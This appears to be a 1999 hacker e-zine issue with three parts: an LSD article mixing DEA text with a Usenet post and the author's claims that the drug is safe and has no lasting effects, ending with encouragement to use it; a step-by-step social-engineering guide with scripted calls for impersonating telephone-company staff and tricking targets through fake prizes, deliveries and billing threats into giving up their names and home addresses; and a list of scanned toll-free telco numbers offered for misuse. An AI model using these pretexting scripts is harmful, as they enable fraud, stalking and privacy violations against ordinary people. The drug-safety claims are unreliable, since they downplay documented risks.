twenty-five, vodka acid, wedding +bells, wedges, white dust, white lightning, white Owsley's, window glass, +window pane, yellow, yellow dimples, yellow sunshine, zen, zig zag man. + +acid head - LSD user. +babysit - guide someone through first drug experience. +backbreakers - LSD and strychnine. +black acid - LSD or LSD and phencyclidine. +businessman's LSD - dimethyltryptamine. +come home - end a trip on LSD. +explorers club - group of LSD users. +frisco special, frisco speedball - heroin and LSD. +ground control - the guide or caretaker during a hallucinogenic experience. +hits - dosage units of LSD; usually paper squares. +lay the sheets - applying LSD to sheets of paper. +outer limits - crack and LSD. +satch - papers, letters, cards, clothing, etc., saturated with drug solution; +used to smuggle drugs into prisons or hospitals. +sheet rocking - crack and LSD. +trails - LSD-induced perception that moving objects leave multiple images or trails +behind them. travel agent - LSD supplier. +trips - dosage units of LSD; usually paper squares. +utopiates - hallucinogens. +yellow submarine - brand name for LSD sold in tablet or liquid in Illinois. +yen sleep - restless, drowsy state after LSD use. + + +U.S. Department of Justice +Drug Enforcement Administration +LSD in the United States + + ------------------------------------------------------------------------ + LSD Use and Effects + +Use + +LSD is ingested orally. A microdot tablet or square of the perforated LSD +paper is placed in the user's mouth, chewed or swallowed, and the chemical +is absorbed from the individual's gastrointestinal system. Paper squares +are the preferred medium because their small size makes them easy to +conceal and ingest. Also, because LSD is not injected or smoked, +paraphernalia are not required. + +The National Household Survey on Drug Abuse data for LSD are limited to +estimates of lifetime use, defined as the use of LSD at least once in a +person's lifetime. During 1993, 13.2 million Americans, 12 years of age and +older, reported having used LSD at least once compared to 8.1 million in +1985, an increase of more than 60 percent. In addition to the steady +increase in LSD use since 1990, the data reveal two significant expansions +in the number of lifetime users of LSD; one expansion occurred from 1985 to +1988 and the other from 1990 to 1991. + +According to the 1994 Monitoring the Future Study, lifetime, past-year, and +past-month use of LSD among seniors in the class of 1994 increased to the +highest level since at least 1985. Moreover, the survey revealed that LSD +use has increased in every category (except daily use) at every grade +level. In addition, the proportions of students associating great risk with +the use of LSD and other drugs have been declining significantly. + +The Drug Abuse Warning Network (DAWN) indicates that the number of +LSD-related hospital emergencies remains low compared to those related to +cocaine, heroin, marijuana, methamphetamine, phencyclidine, and other major +illicit drugs of abuse. For example, over the past 5 years, the number of +LSD-related hospital emergencies has not exceeded 3,900 in any given year +while the number of cocaine-related hospital emergencies has approached +125,000 per year during that same time frame. The low number of LSD-related +hospital emergencies most likely is due to the fewer adverse reactions +generated by the low-potency LSD that has been produced since the late +1970's. As a result, the DAWN figures do not reflect the increases in LSD +use measured by other indicators such as the National Household Survey on +Drug Abuse and the Monitoring the Future Survey. + +DAWN data also reveal that the majority of LSD abusers are in their late +teens and early twenties and usually are white males. This general profile +of LSD users has been a common characteristic associated with the drug +since it became popular as a substance of abuse and, for the most part, has +been unchanged since at least 1989. In 1993, LSD-related emergency room +episodes ranked fourth among youths aged 6 to 19, after alcohol in +combination with other drugs, marijuana, and cocaine. + +Effects + +LSD generates a wide variety of effects, the intensity of which are related +to the size of the dose ingested, the mental state of the user, and the +setting in which it is used. Although the minimum dose required to induce +effects is considered to be 25 micrograms, a dose of as little as 10 +micrograms can relax inhibitions and produce mild euphoria. As the dosage +is increased, the effects become more pronounced and more prolonged. The +LSD high is uncontrollable once the drug has been ingested because there is +no antidote. + +LSD is absorbed easily from the gastrointestinal tract, and rapidly reaches +a high concentration in the blood. It is circulated throughout the body +and, subsequently, to the brain. LSD is metabolized in the liver and is +excreted in the urine in about 24 hours. + +Several factors provide LSD with a virtually inherent governor to its +regular use, meaning that the drug will never become as frequently abused +as other drugs, most notably, crack cocaine. First, the duration of the +effects, which may persist for up to 12 hours or more, ensures that the +user will not need to purchase the drug on a rapidly recurring basis. +Second, tolerance to the drug develops rapidly if used daily, rendering its +repeated ingestion useless, and cannot be overcome by ingestion of +increased dosages. Third, the uncertain and mixed effects, especially +adverse reactions, lead to erratic instances of LSD use. Finally, the +extremely powerful and intense hallucinations often prompt users to abstain +from LSD ingestion as they require periods of reorientation. + +Physical Effects + +LSD use can produce a number of physical changes: mydriasis (prolonged +dilation of the pupil of the eye), raised body temperature, rapid +heartbeat, elevated blood pressure, increased blood sugar, salivation, +tingling in fingers and toes, weakness, tremors, palpitations, facial +flushing, chills, gooseflesh, profuse perspiration, nausea, dizziness, +inappropriate speech, blurred vision, and intense anxiety. Death caused +by the direct effect of LSD on the body is virtually impossible. However, +death related to LSD abuse has occurred as a result of the panic reactions, +hallucinations, delusions, and paranoia experienced by users. + +LSD distorts electrical messages sent to and from various parts of the +brain, primarily those pertaining to visual information. Messages from any +of the senses can be perceived as merged together, creating a sensation +known as synesthesia. This most commonly is represented as hearing +colors or seeing sounds. + +LSD also affects moods and emotions and suppresses memory centers and other +higher cerebral functions, such as judgment, reason, behavior control, and +self-awareness. The combination and intensity of these factors create the +profound mental effects most closely associated with LSD. + +Mental Effects + +The mental effects most commonly associated with LSD use, particularly at +high doses, are visual images or hallucinations, often involving simulated +philosophical or religious connotations. It is this artificial imagery +which has been advocated erroneously as providing true psychological +insight and benefit. + +The cause of most LSD-related problems is the intense visual illusions +triggered that seem real and become overpowering, prompting the user to +want to withdraw from the drug state immediately. Initially, at lower +dosage levels, the visual images are intensified in color or flashes of +light are seen. The visual images progress to brightly colored geometric +designs and become distorted. At higher dosages, images appear as +distortions of reality or as completely new visual images and can be seen +with the eyes open or closed. + +Hallucinations also take other forms: thoughts become dreamlike or +free-flowing, perception of time can become slowed or distorted, and +out-of-body experiences may occur or the perception that one’s body has +merged with another person or object. + +Emotional responses to the vivid hallucinations can be wide-ranging, from +euphoria and contentment to disturbing feelings of confusion, fear, and +despair. Moods can change profoundly in a short period of time, from +excitability to tranquility. + +The consequences of LSD use can be deleterious, not merely benign as is +commonly perceived. Powerful hallucinations can lead to acute panic +reactions when the mental effects cannot be controlled and when the user +wishes to end the drug-induced state. While these panic reactions more +often than not are resolved successfully over time, prolonged anxiety and +psychotic reactions have been reported. The mental effects can cause +psychotic crises and compound existing psychiatric problems. + +Flashbacks + +Flashbacks are one of the most dangerous side effects of LSD use. They are +recurrences of images or effects that were experienced during a previous +LSD administration and they can vary in frequency and duration. Flashbacks +can occur spontaneously or they can be spurred by the use of other drugs +(particularly marijuana or hashish), emotional stress, fatigue, or movement +from a light to a dark environment. These flashbacks can last from a few +seconds to several hours. Ironically, some experienced LSD users do not +consider flashbacks to be an adverse consequence of LSD use and actually +enjoy the renewed perceptions or images as a free trip. + +Of course the DEA wants to portray LSD and its effects in a bad light. They +don't exactly promote its usage and want it seen as being dangerous and +harmful. That's why I've included some other material to show the other +side of LSD. + +---------- + +From: lamont@hyperreal.com +Newsgroups: alt.rave +Subject: Re: LSD The facts! +Date: 31 Aug 1992 02:43:19 GMT + +THE FACTS. + +I don't have this thing referenced, I don't have anywhere near the time... + +LSD does not cause any chronic physiological or neurological damage. period. + +LSD does not produce a psychotic state. LSD is not a psychotomimetic +drug in the literal use of the word. I've experienced true drug psychosis +before, and LSD just ain't close... + +LSD may produce chronic visual "tracers" -- probably as a result of receptor +changes in the sensory pathways of the brain. This is not damage. Some +people have these naturally, particularly in the morning. I've gotten +them from prescription drugs, which caused this and enhanced my vision at +the same time (QED, I'm not complaining...). + +LSD may cause mild "flashbacks" (IMHO a misuse of the word) which is really +just state-dependent learning. Users sometimes can get themselves into a +slightly shifted perspective when a stimulus is similar to one experienced +while on LSD, or if one is familiar enough with the LSD state they can +sometimes create this mild perspective shift themself. + +LSD may produce thick chronic visual "tracers" which interfere with vision. +This is very rare, and is not "damage" per se since it is reversible with +drug therapy (probably neuroleptics, but I'm not positive). Most users if +they report anything report the benign type. + +LSD may produce a sydrome resembling Post Traumatic Stress Disorder. This +is due to a massively bad trip... Here is where you get your honest-to-god +flashbacks from. Its also not very common. + +LSD may produce a schizophrenic break in someone already suscpetible to +schizophrenia, again due to the psychological trauma of an extraordinarly +bad trip. This, however, is a case of "if it didn't happen on LSD, it +would've happened at some point". + +The frequency of the above three chronic effects is less than 2:1000 which +is about the same as the *normal* frequency of schizophrenia in the +population. Conclusion: normal people that drop LSD remain normal people, +people with schizophrenic tendencies or other psychological disorders get +more fucked up. And I bet the guy who was distributing that pamphlet on the +evils of LSD probably had a schizophrenic break which is why he was so +damn concerned with it changing your personality... + +---------- + +Quote from the LSD FAQ: + +LSD - Generic name for the hallucinogen lysergic acid diethylamide-25. + Discovered by Dr. Albert Hofmann in 1938, LSD is one of the most potent + mind-altering chemicals known. A white, odorless powder usually taken + orally, its effects are highly variable and begin within one hour and + generally last 8-12 hours, gradually tapering off. + +---------- + +Dispelling the Myths: + +There's been a tremendous amount of scientific research and studies conducted +on LSD and its effects. It hasn't been proven to be addictive. It hasn't +been proven to cause schizophrenia or any other disease. The mind altering +affects aren't permanent. It doesn't destroy brain cells. It won't make you +stupid. The drug itself won't kill you, as long as it's pure and not tainted +by some other chemicals. It won't make you psychotic. It doesn't change +your personality. And there aren't any permanent effects that'll stay with +you for your lifetime. You won't overdose on a single hit of acid. It will +make you hallucinate, as it's a hallucinogen. Most hits aren't as potent as +the LSD of the 1960s. And it shouldn't be classified with drugs such as +cocaine, heroin, etc. + +Final Comments: + +I've ingested LSD on a semi-frequent basis for several years without +observing any ill effects of the drug. I've yet to experience a "bad trip" +and none of the flashbacks have caused any great harm to me, nor did they +adversely affect what I was doing. From my own experience, I would have to +say that LSD is a lot safer than many people believe it to be. For more +information, I suggest you do your own "research" (and I don't just mean +reading text files!) So, start trippin' and have phun. If you want to read +some material first, I recommend the LSD FAQ and the web sites that are +listed at the bottom of this article. + +References and Sources of Drug Information: + +My friends that have dropped acid with some frequency and my own personal +experiences with LSD. :) + +Addiction Research Foundation (ARF) (Telephone 1-800-661-1111, 416-595-6059, +1-800-INFO-ARF (1-800-463-6273) and www.arf.org + +U.S. Drug Enforcement Agency (DEA) web site. + +alt.drugs newsgroup +The Usenet alt.drugs LSD FAQ +www.druglibrary.org (The Drug Library) +http://lycaeum.org +http://hyperreal.com (Hyperreal) +www.lsd25.com + +Written by THC Phreak ú Damage, INC. (C)opyright 1999. + + +H/P INFORMATION AND NEWS - {H/P} + +------------------------------------------------------------------------------- + LAC, NOC and more ways to get CN/A info. + (This is Part 2 of my Social Engineering article.) +------------------------------------------------------------------------------- + + +This article describes various ways of social engineering to get CN/A info. +While my previous article in Issue #13 explained a few ways of getting that +information, it relied on the person's ability to social engineer an Op. +I mentioned that there are other ways of accomplishing it, so I decided to +write another on the topic to show people how it can be done in case you +don't have a list of numbers to CN/A offices or the one in your NPA. + +First, I want to cover what LAC and NOC are and how they can be used. So, +here's some basic information on them. + +The Network Operations Center (NOC) is the place that telco repair workers +call and use to get information. There's usually one NOC dedicated to each +NPA (some only cover certain exchanges within the NPA) and they handle requests +within their own area. If you scan your local exchanges, you should be able to +find it by the way they identify themselves. If not, you may be able to get +the number to the NOC through your local RBOC. Ask them for the NOC that covers +your NPA (or NPA+XXX where the Xs represent your exchange). There's no harm +in requesting that information. If that fails, go trashing at the Central +Office (CO) and see if you can find documents that list the locations and +numbers to them. Or, if you know the number to a NOC that doesn't cover your +exchange, call them. After they tell you that they don't service your area, +ask for the number to the NOC that does. + +The Line Assignment Center (LAC) is just the reverse of a CN/A office. In +other words, you provide them with a person's full address and they will +give you the phone number. Obviously, they have a database that contains +the name, address and phone number of each line... thus the name LAC. :) +There's also a LAC dedicated to each NPA. However, unlike most NOCs, some +LACs have a toll free 1-800 number. If the LAC you have doesn't handle your +particular NPA, ask them for the number to the one that does, or ask to be +transferred to control. Then tell them what NPA you need the LAC for and +they should comply with that request. All that's required of you to do is +call and say "Hello, this is Joe Hax0r with repair and I need the number and +cable pair to 555 Richmond Street, Buffalo, NY." or whatever the full address +of the person is. Asking for the cable pair isn't necessary, but it'll make +you sound more like a telco employee. + +At this point, you might be wondering why you'd need to call the LAC for +that info. Yes, you could search for the number using an internet search +engine that uses the white pages (like 555-1212 or any of the others). Or, +you could dial 1-800-555-1212 for Customer Assistance and ask for the +person's number. However, those don't have unlisted numbers, so if you +need access to a number that's not listed, the LAC is the best option that's +available. And you may want to find business numbers that aren't listed +instead of just that of residential customers. Also, it is possible to +call a LAC and get CN/A info by providing them with the phone number... but +you have to social engineer them into thinking that your job is telco related. +So, it's not quite as easy as just using a CN/A office. + +If you can't find the LAC that handles your NPA, call your local RBOC and +pretend you're a telco worker and social engineer them for it. + +You: "Hi, this is Joe Hax0r at station 13 repair. There seems to be a misprint +in my manual for the LAC that handles XXX (whatever NPA you need)." +Op: "What does it show for the LAC number?" +You: "It shows XXX-XXXX" (give them a number that's not in service). +Op: "Okay. You need the LAC for which area?" +You: "I need the LAC that handles NPA, exchange XXX." + +That should be enough to obtain the LAC number that you need. Or you can +call up the Customer Sales and Service Center and ask them for the LAC number, +and CN/A office number. (not at the same time during the same call!) AT&T's +Customer Sales and Service number is 1-800-222-0300 and toll free numbers +to other telcos are listed below. Choose whatever one is appropriate to use +and make up an identity. Meaning, if you call AT&T, pretend to be from an +AT&T office (like the Residential Services office) in another state or +something. Another option is to say you're Joe Hax0r with Bell Labs or +Lucent Technologies Equipment Repair and it might even work. Hopefully it works +to your advantage. :) If that doesn't work, try calling the RBOC's Billing +Office and talk with an Op. Tell them that there's some type of mistake, and +that the Billing Office number is listed beside the LAC in your manual. Say +that you've been trying to reach the LAC and ask if they can be of assistance +to you. If they question you, tell them that you're with Sales and Leasing +or something. + +Getting CN/A the social engineering way: + +If you have an unlisted phone number but need the customer's name and address, +there are a few ways of obtaining that information, without calling the local +CN/A office (or paying to call one that charges for providing that service). +Plus, it can be a real hassle if you don't have a valid employee code to give +when the Op asks for it to verify (if the unlisted number is flagged, they'll +usually want to call you back and ask for your employee code, etc.) Plus +the internet reverse-search engine tools won't be able to find CN/A info for +unlisted numbers. So, here are some other ways of getting it that just +rely on social engineering zombies. Think fast! :) + +Scenarios: + +Call the number of the mark and tell them that they've won a free dinner +(pick a local restaurant, that's not a fast food shithouse), a free trip to +Mexico (radio contest, name the station of your choice when identifying +yourself), 3 free movie rentals/tickets or a free large pizza. For this +to work, you have to be field phreaking and sound convincing. The mark +might get suspicious and want to call you back. So, have the number ready +to give them to call you at and answer them with the appropriate response. +It won't work if you sound like a warez kiddie and start laughing either. + +Here's a sample conversation: + +You: "Hi, this is Mark Johnson from Blockbuster video. You've been selected +as the winner of our weekly promotional contest! Your prize is 3 free movie +rentals of your choice." +Them: "Great! Can I pick them up right now and watch them tonight?" +You: "Yes, you can. I'll need your name and address first though sir." +Them: "Why?" +You: "We need to have that information so that when you rent the movies +you won't be charged for them." +Them: "Okay, my name is Rob Market, address 234 Westbrook Drive." +You: "Thanks. All you have to do is show up at any Blockbuster location +in [City Name] to claim your prize." +Them: "Thank you. Goodbye." + +Or, instead of asking for the address using that method, you can tell them +that they have a delivery (Federal Express) and need the proper address. +Explain that you're the driver and are lost, and usually they'll tell you +where to deliver it. Just make sure it's within normal business hours for +deliveries so that the mark doesn't get suspicious. + +If that doesn't work, look up the numbers to the local video stores, pizza +places and department stores (like Sears, etc.) in the yellow pages. If +you're not from that person's city, use an internet search engine to find +them. Then call up the local Pizza Hut and order a few pizzas to be +delivered. They'll ask for your phone number. Give the mark's number to +them. If they don't read your address and ask to confirm that you live +there, and instead ask for your address... ask them which address they have. +Explain that you've moved recently. If their information isn't there, try +another pizza place or a video store. If you call the video store, just +ask them if you have any outstanding charges for movies that weren't returned. +Give them the phone number and they'll probably confirm it with the person's +address. Make up a story about a friend using your video card or something +to throw them off. + +If none of that works, you can always just go back to calling the mark +again and pretend to be a telco worker. Tell them that there's a problem +with their line, or that their calling card has been abused. Make up +a bogus amount that they're going to be billed if they don't confirm that +they own the line (by providing you with their name and address). Ask +if they've made any calling card calls recently, and how many long distance +calls they've made in the last 2 days. Once they're worried and in panic +mode, they will give you almost any information that you want. + +Finally, there's the ol' tried and tested method of calling the mark and +asking when they want call waiting, call forwarding, etc. installed on their +phone line. Say that you have a service order and are just calling to confirm +that they want those additional pay features. Ask for their name and address. +If they say they didn't ask for them and don't want them, tell them that +you still need their information to cancel the service call. Explain to +them that the service call is $50 and that if a telco worker shows up, they +will get billed regardless. As soon as they hear that they'll get billed +for it, they'll be happy to comply with the request for CN/A. :) There are +many other ways to scam them, but I'm sure you can think of some ideas to +try on your own. + +In future articles, I plan to explain how to connect to and identify different +types of systems while scanning for carriers. I also want to write articles +on packet switching networks (PSNs), voice mail systems, HP-UX systems, etc. +I may dedicate an article to SprintNet and its features, local dialups, +PAD to PAD, etc. Basically, there's a lot of information that I want to +release and a few lists that I'm working on assembling. + +Written by Blackie Lawless ú Damage, INC. (C)opyright 1999. + + +Here's a list of numbers for the Kanadian K0d3z Kiddies to play around with. +Most of these 1-800s can be reached from the U.S. as well, but I just wanted +to say that. If you can't call one of the numbers from your area, dial out +using a PBX or figure out another way. + +The following numbers are courtesy of Blamerica Phreaky Industries and the +vast Damage, INC. Scan Archives. They are provided to you, free of charge, +without any restrictions. Feel free to use/misuse/abuse them in whatever +fucking ways you want. However, if you use them for the purposes of carding +or any other illegal activities and get caught, then you're responsible. We +make no claims other than that these numbers have been scanned and verified +recently (as of 01/25/99) and are as described in the listing. So, they should +still be active and properly identified. In other words, the information was +completely accurate at the time of its release. You'll notice that many of +the numbers included are 800-XXX-2255 and 800-225-5XXX due to some of our most +recent scans in the 225 exchange and every 800 exchange ending with an extension +of 2255 (which is obviously CALL). There are also quite a numbers from our +scans of 800-483-XXXX (GTE), 800-455-XXXX, 800-475-XXXX, a few Bell numbers, +Sprint Canada numbers ending with 3279 (EASY) listed, etc. If you have any +questions, send Email to damage_inc@dope.org and Blackie Lawless or THC Phreak +will respond. Other than that, start exploring and have phun. :) Also, since +we've been scanning like maniacs lately, we have decided to put together a +collection of our scans and release them in a large compilation on a seasonal +basis. So, be sure to look for the Damage, INC. Phreaky Field Phreaking List +to be released in the next couple of months. And you can expect Spring, Summer, +Fall and Winter editions of it for 1999. If you want to contribute, you can +send us anything interesting and useful you've found while scanning or trashing +in Email to damage_inc@dope.org + + +AT&T: + +1-800-201-2355 AT&T Easy Reach 800. +1-800-218-2255 AT&T Easy Reach 800. +1-800-222-0300 AT&T Customer Sales and Service. +1-800-222-0400 AT&T Sales Automated Response System. +1-800-222-1000 AT&T Customer Care Center. +1-800-225-5022 AT&T Easy Reach 800. +1-800-225-5100 AT&T Corporate Teleconferencing. +1-800-225-5120 AT&T Easy Reach 800. +1-800-225-5162 AT&T Easy Reach 800. +1-800-225-5177 AT&T Easy Reach 800. +1-800-225-5207 AT&T Easy Reach 800. +1-800-225-5288 (1-800-CALL-ATT) +1-800-225-5318 AT&T Easy Reach 800. +1-800-255-5328 AT&T Easy Reach 800. +1-800-225-5396 AT&T Easy Reach 800. +1-800-225-5511 AT&T Easy Reach 800. +1-800-225-5533 AT&T Easy Reach 800. +1-800-225-5569 AT&T Easy Reach 800. +1-800-225-5573 AT&T Easy Reach 800. +1-800-225-5624 AT&T Easy Reach 800. +1-800-225-5640 AT&T Easy Reach 800. +1-800-225-5680 AT&T Easy Reach 800. +1-800-225-5700 AT&T Teleconferencing. +1-800-225-5705 AT&T Easy Reach 800. +1-800-225-5905 AT&T Easy Reach 800. +1-800-230-2355 AT&T Easy Reach 800. +1-800-235-0900 AT&T Teleconferencing. (Spanish and English) +1-800-242-6005 AT&T Internet Services. +1-800-288-8916 AT&T Easy Reach 800. +1-800-348-8288 AT&T Shareholder Services. +1-800-386-2255 AT&T Easy Reach 800. +1-800-390-2355 AT&T Easy Reach 800. +1-800-421-2355 AT&T Easy Reach 800. +1-800-423-4343 AT&T Universal Card. +1-800-425-5288 AT&T Products and Services. +1-800-428-8669 (1-800-4ATT-NOW) AT&T Personal Network Sales Center. +1-800-428-8468 AT&T Global Services Center. +1-800-432-6600 AT&T Customer Information Center. +1-800-443-8288 (1-800-GIFT-ATT) AT&T Gift Certificates. +1-800-444-7785 AT&T Easy Reach 800. +1-800-446-7466 (1-800-4GOPHONE) AT&T Wireless GoPhone Services. +1-800-450-8120 AT&T Easy Reach 800. +1-800-455-1620 AT&T Easy Reach 800. +1-800-455-1779 AT&T Easy Reach 800. +1-800-455-2156 AT&T Easy Reach 800. +1-800-455-2379 AT&T Easy Reach 800. +1-800-455-3110 AT&T Easy Reach 800. +1-800-455-3471 AT&T Easy Reach 800. +1-800-455-5496 AT&T Easy Reach 800. +1-800-455-5631 AT&T Easy Reach 800. +1-800-455-6291 AT&T Easy Reach 800. +1-800-455-7623 AT&T Easy Reach 800. +1-800-455-7944 AT&T Easy Reach 800. +1-800-455-7962 AT&T Easy Reach 800. +1-800-455-9169 AT&T Easy Reach 800. +1-800-455-9828 AT&T Easy Reach 800. +1-800-475-1944 AT&T Easy Reach 800. +1-800-475-1962 AT&T Easy Reach 800. +1-800-475-2085 AT&T Easy Reach 800. +1-800-475-2610 AT&T Easy Reach 800. +1-800-475-2769 AT&T Easy Reach 800. +1-800-475-2811 AT&T Easy Reach 800. +1-800-475-2849 AT&T Easy Reach 800. +1-800-475-3096 AT&T Easy Reach 800. +1-800-475-3135 AT&T Easy Reach 800. +1-800-475-3177 AT&T Easy Reach 800. +1-800-475-3213 AT&T Easy Reach 800. +1-800-475-3396 AT&T Easy Reach 800. +1-800-475-3744 AT&T Easy Reach 800. +1-800-475-4719 AT&T Easy Reach 800. +1-800-475-4767 AT&T Easy Reach 800. +1-800-475-4797 AT&T Easy Reach 800. +1-800-475-4875 AT&T Easy Reach 800. +1-800-475-5262 AT&T Easy Reach 800. +1-800-475-5288 AT&T Easy Reach 800. +1-800-475-5970 AT&T Easy Reach 800. +1-800-475-6006 AT&T Easy Reach 800. +1-800-475-6201 AT&T Easy Reach 800. +1-800-475-6456 AT&T Easy Reach 800. +1-800-475-6729 AT&T Easy Reach 800. +1-800-475-6747 AT&T Easy Reach 800. +1-800-475-7347 AT&T Easy Reach 800. +1-800-475-7359 AT&T Easy Reach 800. +1-800-475-7575 AT&T Easy Reach 800. +1-800-475-7857 AT&T Easy Reach 800. +1-800-475-8013 AT&T Easy Reach 800. +1-800-475-8103 AT&T Easy Reach 800. +1-800-475-9492 AT&T Easy Reach 800. +1-800-483-1023 AT&T Easy Reach 800. +1-800-483-1161 AT&T Easy Reach 800. +1-800-483-1353 AT&T Easy Reach 800. +1-800-483-2394 AT&T Easy Reach 800. +1-800-483-2787 AT&T Easy Reach 800. +1-800-483-2820 AT&T Easy Reach 800. +1-800-483-2864 AT&T Easy Reach 800. +1-800-483-2946 AT&T Easy Reach 800. +1-800-483-2967 AT&T Easy Reach 800. +1-800-483-3261 AT&T Easy Reach 800. +1-800-483-3708 AT&T Easy Reach 800. +1-800-483-4338 AT&T Easy Reach 800. +1-800-483-5232 AT&T Easy Reach 800. +1-800-483-6288 AT&T Easy Reach 800. +1-800-483-6381 AT&T Easy Reach 800. +1-800-483-6399 AT&T Easy Reach 800. +1-800-483-7311 AT&T Easy Reach 800. +1-800-483-7338 AT&T Easy Reach 800. +1-800-483-7932 AT&T Easy Reach 800. +1-800-483-7938 AT&T Easy Reach 800. +1-800-483-8196 AT&T Easy Reach 800. +1-800-483-8349 AT&T Easy Reach 800. +1-800-483-8553 AT&T Easy Reach 800. +1-800-483-8748 AT&T Easy Reach 800. +1-800-483-9288 AT&T and Texaco's Information Line. +1-800-483-9537 AT&T Easy Reach 800. +1-800-522-2157 AT&T Investigations Department. +1-800-525-7955 AT&T Direct Call Cards. +1-800-538-5345 AT&T Slamming Resolution Center. +1-800-555-6897 AT&T Easy Reach 800. +1-800-555-8111 AT&T Consumer Lease Services. +1-800-562-7288 (1-800-JOBS-ATT) AT&T Employee Line. (U.S. only.) +1-800-575-9765 AT&T Easy Reach 800. +1-800-634-8078 AT&T Billing Office/Accounts info. +1-800-643-2255 AT&T Translation Service. (Foreign languages only) +1-800-662-6214 AT&T Calling Card Protection line. +1-800-732-2255 AT&T High Seas Radio Telephone and Mobile Satellite Services. +1-800-820-6464 AT&T Digital Long Distance/ISDN Services. +1-800-829-2355 AT&T Easy Reach 800. +1-800-833-3232 AT&T ACS Long Distance Bill Inquiries. +1-800-840-2355 AT&T Easy Reach 800. +1-800-842-2355 AT&T Easy Reach 800. +1-800-852-6338 AT&T Easy Reach 800. +1-800-855-1155 AT&T Long Distance Relay Service (TTY Carrier for the deaf) +1-800-855-2880 AT&T Long Distance Relay Service (TTY) +1-800-855-2881 AT&T Long Distance Relay Service (automated/voice) +1-800-855-2882 AT&T Long Distance Relay Service (TTY) +1-800-855-2883 AT&T Long Distance Relay Service (TTY) +1-800-878-3123 (1-800-TRUE-123) AT&T True Messages Service. +1-800-887-1111 AT&T Easy Reach 800. +1-800-901-2355 AT&T Easy Reach 800. +1-800-958-2255 AT&T Canada Long Distance Services. +1-800-967-2355 AT&T Easy Reach 800. +1-800-998-3947 AT&T Authorized Stocking Distributor/Zack Electronics. +1-800-WORLDNET (1-800-96753638) AT&T Canada Internet Service. +1-888-928-8932 (1-888-9ATT-WEB) AT&T Online Customer Service. + +Ameritech: + +1-800-221-0994 Ameritech Cellular and Paging. +1-800-244-4444 Ameritech Customer Billing Office (works outside of Illinois) +1-800-AMERITECH Ameritech. +1-800-323-7311 Ameritech Capital Services. +1-800-327-3470 Ameritech Advertising Services. +1-800-475-7449 Ameritech Pay Phone Repair. +1-800-493-7243 Ameritech Quick Reach Pager Services. +1-800-553-9591 Ameritech Pages Plus Advertising. +1-800-660-3000 Ameritech Small Business Services. +1-800-821-0173 Ameritech Cellular and Paging Services. +1-800-832-6328 Ameritech Team Data Support Center (press 6,2,1,2,AC,NUM,1) +(pressing 6 transfers you to the Ameritech Team Data Information Server which +you can use to obtain telco info via FAX back) +1-800-873-5501 Ameritech's automated billing (RBOC) +1-888-AMERITECH Ameritech. + +Bell: + +310-BELL Bell Canada Customer Services. (toll free) +1-416-555-1313 Bell's local CN/A office for Toronto. +1-800-225-5180 Bell Canada Client Service Center. +1-800-225-5400 Bell Atlantic. +1-800-225-5792 Southwestern Bell Wireless National Services. +1-800-237-0192 Bell Atlantic Caller-ID. +1-800-238-8636 Bell Labs. +1-800-253-5011 Bell Mobility Paging. +1-800-257-5554 Bell Atlantic Services/Computer Repair. +1-800-263-3899 Bell Mobility Customer Service. +1-800-263-8394 Bell Mobility. +1-800-265-0123 Bell Mobility Ardis Division Sales. +1-800-267-0123 Bell Mobility's Automated Express Lane System. (reports EST) +1-800-267-6574 Bell Canada Datapac Service Center. +1-800-267-7640 Bell Canada's Ident-a-call demonstration line. (You can access + their VMS by pressing "*") +1-800-268-9160 Bell Canada Information Service Line. +1-800-275-2355 (1-800-275-BELL) Bell Atlantic Repair. +1-888-308-5640 Bell Mobility Paging. +1-800-327-8412 Bell Atlantic Professional Services. +1-800-345-8505 Bell Atlantic Caller-ID. +1-800-363-9612 Bell Technical Services. +1-800-387-9571 Bell Mobility Radio. +1-800-416-9639 Bell Atlantic Help Desk. +1-800-441-1267 Southwestern Bell Yellow Pages. +1-800-443-6200 Southwestern Bell Yellow Pages. +1-800-447-2688 BC Tel Mobility's EasyTouch Service. +1-800-451-6549 Bell South Customer Service. +1-800-453-4539 Pacific Bell Directory Major Market. (U.S. only) +1-800-461-2921 Bell Canada Smart Touch Information Line. +1-800-468-6792 (1-800-GO-TO-SWB) Southwestern Bell's Employee Locator. +1-800-4PB-ISDN Pacific Bell FasTrak DSL Center. (U.S. only) +1-800-479-2977 Southwestern Bell Yellow Pages. +1-800-521-2673 Bellcore. +1-800-522-6909 Southwestern Bell Yellow Pages and Advertising Services. +1-800-526-4611 Bell Atlantic Telecom Vendor's Service Leasing Dept. +1-800-538-4747 Bell Atlantic Mobile. +1-800-541-1229 Bell South Financial Services. +1-800-555-1111 Bell Long Distance. +1-800-561-4459 NBTel's NBNet Support line. +1-800-565-4737 IslandTel Business Office. +1-800-611-6500 Bell Mobility Cellular. +1-800-647-NEWS Bell Atlantic Employee News line. (Daily recorded messages) +1-800-663-1440 BC Tel Call Center/Accounts. +1-800-663-2455 BC Tel Mobility Customer Service Department. +1-800-667-0123 Bell Mobility's Automated Express Lane System. +1-800-667-5801 SaskTel International Head Office. +1-800-668-0911 BCE Mobile Communications Inc. +1-800-668-6878 Bell Direct. (U.S. and Canada) +1-800-668-9090 Bell Information Systems Repair Service. +1-800-668-9716 Bell Canada Employment Centre. (Press "*" to access VMS) +1-800-727-2231 Bell Atlantic. +1-800-735-3030 Cincinnati Bell Long Distance. +1-800-773-2121 Sympatico Customer Service. (Bell Canada's internet service) +1-800-792-2665 (1-800-SWB-BOOK) Southwestern Bell Directory Source. +1-800-832-6338 Bell South Memory Call Service. +1-800-842-1558 Bell South Benefits Service Center. +1-800-843-2255 Bell Atlantic Small Business Direct Response Center. +1-800-848-8000 Pacific Bell Directory Smart Resource. (U.S. only) +1-800-922-0204 Bell Atlantic Mobile. +1-800-925-0049 Bell South Equipment/Customer Changes. (U.S. only) +1-800-925-2525 Bell South Business. +1-800-934-2255 Bell Atlantic. +1-877-344-3330 BC Tel Mobility. +1-877-FIRSTRATE Bell FirstRate Interactive Information and Enrollment Service. +1-877-4PERCALL Bell Canada's (Dis)Advantage Per Call. +1-877-723-4400 Bell Mobility Totalcom. +1-888-217-6540 Bell Mobility Service. +1-888-221-BELL Bell Atlantic. +1-888-223-BELL Bell Atlantic. +1-888-CELLPHONE Cellular One. +1-888-264-2355 (1-888-ANI-BELL) Bell Atlantic Caller-ID. +1-888-333-4454 Bell Equipement D Imprimerie. +1-888-388-BELL Bell Direct in Canada. (the same as 310-BELL) +1-888-442-0222 Bell Mobility Accounts Receivable. +1-888-4-662453 (1-888-4-MOBILE) Bell Mobility Cellular. +1-888-522-BELL Cellular One. +1-888-677-BELL Bell Atlantic View at One Support. +1-888-685-BELL BC Tel Multiple Option 